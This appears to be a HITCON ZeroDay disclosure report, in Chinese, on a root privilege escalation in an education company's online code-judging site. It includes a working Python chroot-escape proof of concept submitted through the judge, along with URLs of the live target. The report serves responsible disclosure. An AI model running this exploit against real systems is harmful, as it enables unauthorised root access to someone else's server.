Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00164
- Vendor: 十八豆教育科技有限公司
- Title: 十八豆教育科技有限公司 程式判分系統提權漏洞
- Introduction: 可以使用chroot以超級使用者權限執行指令
處理狀態
目前狀態
公開
Last Update : 2023/06/10
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2023/04/10 11:50:37 : 新提交 (由 tty_1812 更新此狀態)
- 2023/04/16 01:04:59 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/04/24 13:11:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/04/24 13:11:55 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/04/24 13:11:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/10 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00164
- 通報者:leo950413 (tty_1812)
- 風險:嚴重
- 類型:權限提升 (Privilege Escalation)
參考資料
攻擊者可利用此漏洞提升帳號權限,如其他使用者甚至管理者權限。
漏洞說明: OWASP - Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
漏洞說明: OWASP - Testing for Privilege escalation (OTG-AUTHZ-003)
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)
漏洞說明: CWE - Privilege
https://cwe.mitre.org/data/definitions/901.html
漏洞說明: OWASP - Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
漏洞說明: OWASP - Testing for Privilege escalation (OTG-AUTHZ-003)
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)
漏洞說明: CWE - Privilege
https://cwe.mitre.org/data/definitions/901.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.18dice.tw:7073/ndice/?fs=13101&dicemeet=9903&mss=6073&exelang=Python&theone=Y&alias=office.18dice.tw&directone=Y#full_ques/full_ans
敘述
Vulnerability report
- Site : http://study.18code.tw/
- Type : privilege escalation
Where is the vulunerability
漏洞發生於 code judging system 中,假設是以下列 python 程式為範例:
import subprocess as s
cwd = s.Popen(["whoami;id"], stdout=s.PIPE, shell=True)
(sout,erroutput) = cwd.communicate()
raise AssertionError(sout)
產生下列的結果:
root
uid=0(root) gid=0(root) groups=0(root)
接著嘗試尋找正在執行中的處理程序:
root 776 0.0 0.0 56544 3900 ? Ss 15:11 0:00 sudo chroot /home/jjean/chroot /bin/bash -c /loginx.sh
所以 chroot 是甚麼呢?
chroot是起源於Unix系統的一個操作,作用於正在執行的行程和它的子行程,改變它外顯的根目錄。一個運行在這個環境下,經由chroot設定根目錄的程式,它不能夠對這個指定根目錄之外的檔案進行存取動作,不能讀取,也不能更改它的內容。chroot這一特殊表達可以指chroot(2)系統呼叫或chroot(8)應用程式。
顯示出了一個重要的訊息,即使已經是 root 但還是受限於 chroot 的虛擬環境中
chroot機制的設計中,並不包括抵抗特權使用者(root)的蓄意篡改
因為在 chroot 的環境中 root 還是可以透過第二次 chroot 來獲得足夠權限,逃出 chroot 的限制
再加上 chroot 的虛擬環境裡,可以調用 chroot 指令,總結上面的資訊,可以得到這個python程式
import subprocess as s
s.Popen(["""echo 'import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(500):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash | ls -al /root")' > home/a1723025033/esc.py"""], stdout=s.PIPE, shell=True)
cwd = s.Popen(["rmdir chroot-dir && python3 home/a1723025033/esc.py"], stdout=s.PIPE, shell=True)
(sout,erroutput) = cwd.communicate()
raise AssertionError(sout)
在經過多次嘗試後,可以得知我們拿到了真正的 root 權限,實現了這個 RCE 漏洞
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。